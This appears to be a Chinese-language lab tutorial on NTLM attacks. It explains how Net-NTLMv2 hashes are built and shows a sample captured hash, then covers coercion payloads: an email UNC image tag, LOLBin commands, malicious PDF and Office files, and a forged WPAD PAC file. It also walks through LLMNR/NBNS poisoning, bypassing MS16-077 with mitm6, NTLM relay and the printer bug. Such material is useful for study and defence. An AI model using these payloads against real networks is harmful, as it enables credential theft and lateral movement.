一、MIC
将我们上次未描述完的MIC在这里详细解释一下
咱们所抓的第二个包会给返回一个服务端的challenge
之后服务器回包的第三个包会回复一个client challenge
所以咱们客户端和服务端现在分别有两个challenge,相当于客户端和服务端互相交换了一下challenge
因此
对于MIC,有如下计算公式:
**MIC =**HMAC_MD5(exportedSessionKey, NEGOTIATE_MESSAGE + CHALLENGE_MESSAGE + AUTHENTICATE_MESSAGE)
相当于第一个请求type1,和第二个请求type2,第三个请求type3,用了一个客户端生成的随机数,之后通过MD5进行了加密
那篡改就面临两个问题第一个不知道随机数,包括password是hash值
随机数生成方式:
对于攻击者,由于没有用户hash,也就没办法生成key_exchange_key,虽然在流量里面能够拿到encrypted_random_session_key,但是没有key_exchange_key,也就没办法运算出exported_session_key,也就没法对流量进行加解密。从而进行Relay。
而对于NTLMv2 Hash 和NTProofStr,有如下计算公式。
· NTLMv2 Hash= HMAC-MD5(unicode(hex((upper(UserName)+DomainName))), NTLM Hash)
· NTProofStr= HMAC-MD5(challenge + blob, NTLMv2 Hash)
如图所示,可以看到在NTLMv2 Response响应消息下的MIC字段。
我们的Response=NTProofStr+blob,所以我们用Response减掉NTProofStr就是我们的blob
DomainName:没有的话一般是本机的名字
最终它拼接的时候:
其中各部分含义如下:
**· username(要访问服务器的用户名):**administrator
**· domain(域信息):**WIN7
**· challenge(数据包6中服务器返回的challenge值[service challenge]):**f9e7d1fe37e7ae12
· HMAC-MD5(数据包7中的NTProofStr): 202beed8c64468318318bad6e8ae8326
**· blob(blob对应数据为数据包7中NTLMv2 Response去掉NTProofStr的后半部分):**010100000000000000d248080d47d701684da093c89fd679000000000200080036004300380035000100080036004300380035000400080036004300380035000300080036004300380035000700080000d248080d47d70106000400020000000800300030000000000000000000000000300000ea8d4184d6934f5434f43abebde4a1b32162f75dbf6a799f74b049823a1522050a001000000000000000000000000000000000000900200063006900660073002f00310030002e003200310031002e00350035002e003700000000000000000000000000
所以最后Net-NTLM v2 Hash值为如下:
administrator::WIN7:f9e7d1fe37e7ae12:202beed8c64468318318bad6e8ae8326:010100000000000000d248080d47d701684da093c89fd679000000000200080036004300380035000100080036004300380035000400080036004300380035000300080036004300380035000700080000d248080d47d70106000400020000000800300030000000000000000000000000300000ea8d4184d6934f5434f43abebde4a1b32162f75dbf6a799f74b049823a1522050a001000000000000000000000000000000000000900200063006900660073002f00310030002e003200310031002e00350035002e003700000000000000000000000000
所以最终我们可以实现我们的目的
从下面两个公式我们可以计算出NTLMv2 Hash、NTProofStr以及Reseonse。
- NTLMv2 Hash = HMAC-MD5(unicode(hex((upper(UserName)+DomainName))), NTLM Hash)
- **NTProofStr =**HMAC-MD5(challenge + blob, NTLMv2 Hash)
最终拿到HTLM Hash
我们拿到用户的hash实则是可以横向的
二、工具介绍
2.1hashcat
我们是有一款工具hashcat专门破解net-HTLMv2-Hash
MD5的值不是破解出来的,是对明文对出来的
但是对于破解net-HTLMv2-Hash概率很小
2.2Responder
这款工具在kill里面是自带的,它可以用来监听你的网卡
三、发起NTLM请求(获取Net-hash)
3.1desktop.ini
3.1.1开始前的准备,把隐藏勾选掉,显示文件夹
3.1.2创建一个新的文件,进入目录下如果没有生成隐藏文件ini,如下图,给换个图标
3.1.3修改图标文件下的Resource,让其每次访问的时候都指向我们的服务器
3.1.4我们监听一下网卡
修改如下
当用户访问该文件夹的时候会去访问UNC路径,我们就能获取用户的net-ntlm hash
但是经过我测试在win10下行不通,原作者在win7下我看是可以的
3.2scf文件
这个我测试了在win10下是不行的
3.3用户图像
适用于Windows 10/2016/2019
在更改账户图片处。
用普通用户的权限指定一个webadv地址的图片,如果普通用户验证图片通过,那么SYSTEM用户(域内是机器用户)也去访问172.16.100.180,并且携带凭据,我们就可以拿到机器用户的net-ntlm hash
但是经过测试,现如今这种方法已经不适用了
3.4系统命令携带UNC路径
> net.exe use \hostshare
> attrib.exe \hostshare
> bcdboot.exe \hostshare
> bdeunlock.exe \hostshare
> cacls.exe \hostshare
> certreq.exe \hostshare #(noisy, pops an error dialog)
> certutil.exe \hostshare
> cipher.exe \hostshare
> ClipUp.exe -l \hostshare
> cmdl32.exe \hostshare
> cmstp.exe /s \hostshare
> colorcpl.exe \hostshare #(noisy, pops an error dialog)
> comp.exe /N=0 \hostshare \hostshare
> compact.exe \hostshare
> control.exe \hostshare
> convertvhd.exe -source \hostshare -destination \hostshare
> Defrag.exe \hostshare
> diskperf.exe \hostshare
> dispdiag.exe -out \hostshare
> doskey.exe /MACROFILE=\hostshare
> esentutl.exe /k \hostshare
> expand.exe \hostshare
> extrac32.exe \hostshare
> FileHistory.exe \hostshare #(noisy, pops a gui)
> findstr.exe * \hostshare
> fontview.exe \hostshare #(noisy, pops an error dialog)
> fvenotify.exe \hostshare #(noisy, pops an access denied error)
> FXSCOVER.exe \hostshare #(noisy, pops GUI)
> hwrcomp.exe -check \hostshare
> hwrreg.exe \hostshare
> icacls.exe \hostshare
> licensingdiag.exe -cab \hostshare
> lodctr.exe \hostshare
> lpksetup.exe /p \hostshare /s
> makecab.exe \hostshare
> msiexec.exe /update \hostshare /quiet
> msinfo32.exe \hostshare #(noisy, pops a "cannot open" dialog)
> mspaint.exe \hostshare #(noisy, invalid path to png error)
> msra.exe /openfile \hostshare #(noisy, error)
> mstsc.exe \hostshare #(noisy, error)
> netcfg.exe -l \hostshare -c p -i foo
很明显这种方法是可行的
而我们光拿到这个是没有用的,接下来我们需要用密码字典去破解,但是八成是不行的,因为很难匹配上
那现在拿到这个值没用?
但是实际上作用很大,后面会说咱们先了解如何获取net-ntlm hash
3.4xss构造(做个钓鱼网站让其访问)
我们来用小皮快速构造验证一下
这种情况适用于IE和edge,其他浏览器不允许从http域跨到file域,以edge为例,修改相应设置之后
直接成功
3.5邮件
发送邮件是支持html的,而且outlook里面的图片加载路径又可以是UNC。于是我们构造payload
复制
<img src="\\172.16.100.1\outlook">
当收件人打开邮箱的时候
我们就拿到net html hash了
3.6PDF
PDF规范允许为GoTobe和GoToR条目加载远程内容。PDF文件可以添加一项功能,请求远程SMB服务器的文件。我们直接使用三好学生的脚本GitHub - 3gstudent/Worse-PDF: Turn a normal PDF file into malicious.Use to steal Net-NTLM Hashes from windows machines.
我们就收到net-ntlm hash
注:只能使用 Adobe
3.7office
首先新建一个word,贴进去一张图片
3.8添加图片
然后用7zip 打开(别用wps会失效)
进入word\_rels,修改document.xml.rels
可以看到Target参数本来是本地的路径
修改为UNC路径,然后加上TargetMode="External"
当打开word的时候,我们就拿到net-ntlm hash
3.9mysql
现在的环境测试不太行
我去win7上尝试
需要具备load_file权限,且没有secure_file_priv的限制(5.5.53默认是空,之后的话默认为NULL就不好利用了,不排除一些管理员会改)
仔细观察我们会发现LOAD_FILE是支持UNC路径
成功
利用场景太苛刻
四、来看两个协议
4.2NBNS和LLMNR
来抓包
dns先查缓存,缓存查不到差host文件,host文件查不到走到路由器内置dns查根域的13台,13台以后看你请求的com还是cn等等顶级域,假如com顶级域让你查百度,找到百度dns,之后把服务器ip返回给咱,然后路由器返回给它,这是可以收到的流程,假如绑定的域名收不到,我们所说所有解析不成功的情况下,会发给路由器,路由器会广播,如果找到返回,如果没找到就是没找到了
之后还会继续广播,可以看到图片上172.16.100.1有回应(而这个是我的监听)
假设一个场景吧
接下来windows会找,虽然没有找不到但是nbns协议已经开始寻找了
windows 解析域名的顺序是
-
Hosts
-
DNS (cache / server)
-
LLMNR
-
NBNS
但是不管怎么解析都是通过广播来找的,是不是有点类似网络中的ARP欺骗
因为多了一个请求,我们多加一个参数
浏览器请求,自然抓到
4.3WPAD和mitm6(2016年以后微软出了补丁已解决)
wpad 全称是Web Proxy Auto-Discovery Protocol ,通过让浏览器自动发现代理服务器,定位代理配置文件PAC(在下文也叫做PAC文件或者wpad.dat),下载编译并运行,最终自动使用代理访问网络。
现在默认是关闭的,我们只是为了测试
内部流程是
用户在访问网页时,首先会查询PAC文件的位置,然后获取PAC文件,将PAC文件作为代理配置文件。
查询PAC文件的顺序如下:
-
通过DHCP服务器
-
查询WPAD主机的IP
-
Hosts
-
DNS (cache / server)
-
LLMNR
-
NBNS
这个地方就涉及到两种攻击方式
-
4.3.1. 配合LLMNR/NBNS投毒
这是最早的攻击方式。用户在访问网页时,首先会查询PAC文件的位置。查询的地址是WPAD/wpad.dat。如果没有在域内专门配置这个域名的话,那么DNS解析失败的话,就会使用LLMNR发起广播包询问WPAD对应的ip是多少,这个时候我们就可以进行LLMNR投毒和NBNS投毒。Responder可以很方便得实现。
- 受害者通过llmnr询问wpad主机在哪里,Responder通过llmnr投毒将wpad的ip指向Responder所在的服务器
- 受害者访问WPAD/wpad.dat,Responder就能获取到用户的net-ntlm hash(这个Responder默认不开,因为害怕会有登录提醒,不利于后面的中间人攻击,可以加上
-F
开启)
-
然后Responder通过伪造如下pac文件将代理指向 ISAProxySrv:3141。
复制
function FindProxyForURL(url, host){ if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv") ||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
-
受害者会使用ISAProxySrv:3141作为代理,但是受害者不知道ISAProxySrv对应的ip是什么,所以会再次查询,Responder再次通过llmnr投毒进行欺骗。将ISAProxySrv指向Responder本身。然后开始中间人攻击。这个时候可以做的事就很多了。比如插入xss payload获取net-ntlm hash,中间人获取post,cookie等参数,通过basic认证进行钓鱼,诱导下载exe等等,Responder都支持。这里就不详细展开了
然而,微软在2016年发布了MS16-077安全公告,添加了两个重要的保护措施,以缓解这类攻击行为:
1、系统再也无法通过广播协议来解析WPAD文件的位置,只能通过使用DHCP或DNS协议完成该任务。
2、更改了PAC文件下载的默认行为,以便当WinHTTP请求PAC文件时,不会自动发送客户端的域凭据来响应NTLM或协商身份验证质询。
4.3.2. 配合DHCPv6
dirkjanm/mitm6: pwning IPv4 via IPv6 (github.com)
前面说过,针对在查询WPAD的时候进行投毒欺骗这种攻击方式,微软添加了两个重要的保护措施
1、系统再也无法通过广播协议来解析WPAD文件的位置,只能通过使用DHCP或DNS协议完成该任务。
2、更改了PAC文件下载的默认行为,以便当WinHTTP请求PAC文件时,不会自动发送客户端的域凭据来响应NTLM或协商身份验证质询。
第二个保护措施比较好绕过,我们先来绕过这个。更改了PAC文件下载的默认行为,以便当WinHTTP请求PAC文件时,不会自动发送客户端的域凭据来响应NTLM或协商身份验证质询。
这个其实比较好解决,在访问pac文件的时候,我们没办法获取到用户的net-ntlm hash。其实默认responder就不想在这一步获取net-ntlm hash,他默认不开启,要手动加-F
选项才能开启。我们可以给用户返回一个正常的wpad。将代理指向我们自己,然后我们作为中间人。这个时候可以做的事就很多了。比如插入xss payload获取net-ntlm hash,中间人获取post,cookie等参数,通过basic认证进行钓鱼,诱导下载exe等等。这个可以回去上一小节配合LLMNR/NBNS投毒
看看。
在网上也有一种比较巧妙的绕过姿势。我们可以给用户返回一个正常的wpad。将代理指向我们自己,当受害主机连接到我们的"代理"服务器时,我们可以通过HTTP CONNECT动作、或者GET请求所对应的完整URI路径来识别这个过程,然后回复HTTP 407错误(需要代理身份验证),这与401不同,IE/Edge以及Chrome浏览器(使用的是IE设置)会自动与代理服务器进行身份认证,即使在最新版本的Windows系统上也是如此。在Firefox中,用户可以配置这个选项,该选项默认处于启用状态。
所以我们接下来的任务是要来绕过第一个保护措施
系统再也无法通过广播协议来解析WPAD文件的位置,只能通过使用DHCP选项或DNS协议完成该任务。
这个就保证了llmnr投毒和nbns投毒不能用了。我们来回顾下用户获取pac文件的一般流程。
-
通过DHCP服务器
-
查询WPAD主机的IP
-
Hosts
-
DNS (cache / server)
-
LLMNR
-
NBNS
在MS16-077之后,通过DHCP和DNS协议还可以获取到pac文件。
DHCP和DNS都有指定的服务器,不是通过广播包,而且dhcp服务器和dns服务器我们是不可控的,没法进行投毒。
幸运的是安全研究人员并不将目光局限在ipv4,从Windows Vista以来,所有的Windows系统(包括服务器版系统)都会启用IPv6网络,并且其优先级要高于IPv4网络。这里我们要用到DHCPV6协议。
DHCPv6协议中,客户端通过向组播地址发送Solicit报文来定位DHCPv6服务器,组播地址[ff02::1:2]包括整个地址链路范围内的所有DHCPv6服务器和中继代理。DHCPv6四步交互过程,客户端向[ff02::1:2]组播地址发送一个Solicit请求报文,DHCP服务器或中继代理回应Advertise消息告知客户端。客户端选择优先级最高的服务器并发送Request信息请求分配地址或其他配置信息,最后服务器回复包含确认地址,委托前缀和配置(如可用的DNS或NTP服务器)的Relay消息。通俗点来说就是,在可以使用ipv6的情况(Windows Vista以后默认开启),攻击者能接收到其他机器的dhcpv6组播包的情况下,攻击者最后可以让受害者的DNS设置为攻击者的IPv6地址。
Fox-IT公布了名为mitm6的一个工具,可以实施这种攻击。
mitm6首先侦听攻击者计算机的某个网卡上的DHCPV6流量。
-
- 当目标计算机重启或重新进行网络配置(如重新插入网线)时, 将会向DHCPv6发送请求获取IPv6配置
- 这个时候mitm6将回复这些DHCPv6请求,并在链接本地范围内为受害者分配一个IPv6地址。尽管在实际的IPv6网络中,这些地址是由主机自己自动分配的,不需要由DHCP服务器配置,但这使我们有机会将攻击者IP设置为受害者的默认IPv6 DNS服务器。应当注意,mitm6当前仅针对基于Windows的操作系统,因为其他操作系统(如macOS和Linux)不使用DHCPv6进行DNS服务器分配。
这个时候受害者的dns 服务器的地址已经设置为攻击者的IPv6地址。一旦受害机器将攻击者设置为IPv6 DNS服务器,它将立即开始查询网络的WPAD配置。由于这些DNS查询是发送给攻击者的,因此攻击者仅可以使用自己的IP地址作为WPAD对应的IP地址。
至此MS16-077的两个保护措施都能绕过,再遇到MS16-077之后的机子不妨试试这种方法。
Inveigh结合DNS v6配合NTLM Relay 攻击链的利用-腾讯云开发者社区-腾讯云 (tencent.com)
测试:安装win7,安装python2(因为现在默认都是python3),安装lnveigh
开始监听
投毒成功
对方打开浏览器直接成功
4.3.3realy(中间人攻击)
在Net-NTLM Hash的破解里面,如果是v1的话,拿到Net-NTLM就相当于拿NTLM HASH.这个时候就没有Relay的必要性了,但是在实际中遇到的例子往往不会是v1,而是v2。这个时候密码强度高一点,基本就跑不出来了,这种情况底下,不妨试一试Relay。
接下来我们拿到ntml hash后就需要进行一个中间人的realy,搭配ntmlrealyx
具体可以看这篇文章
图片解释:
NTLM Relay - cAr7n - 博客园 (cnblogs.com)
类似于arp欺骗
开始模拟:
kill
win-10开始毒化
win-7重启,用域控登录
错误原因:端口占用
执行成功:
4.3.4打印机漏洞
Windows的MS-RPRN协议用于打印客户机和打印服务器之间的通信,默认情况下是启用的。协议定义的RpcRemoteFindFirstPrinterChangeNotificationEx()调用创建一个远程更改通知对象,该对象监视对打印机对象的更改,并将更改通知发送到打印客户端。
任何经过身份验证的域成员都可以连接到远程服务器的打印服务(spoolsv.exe),并请求对一个新的打印作业进行更新,令其将该通知发送给指定目标。之后它会将立即测试该连接,即向指定目标进行身份验证(攻击者可以选择通过Kerberos或NTLM进行验证)。另外微软表示这个bug是系统设计特点,无需修复。
如下图,使用printerbug.py对172.16.100.5发起请求,172.16.100.5就会向172.16.100.1发起ntlm 请求。
目的让域控强制访问你想访问的任何机器 ,利用条件很高,需要一个域内普通用户的账户和密码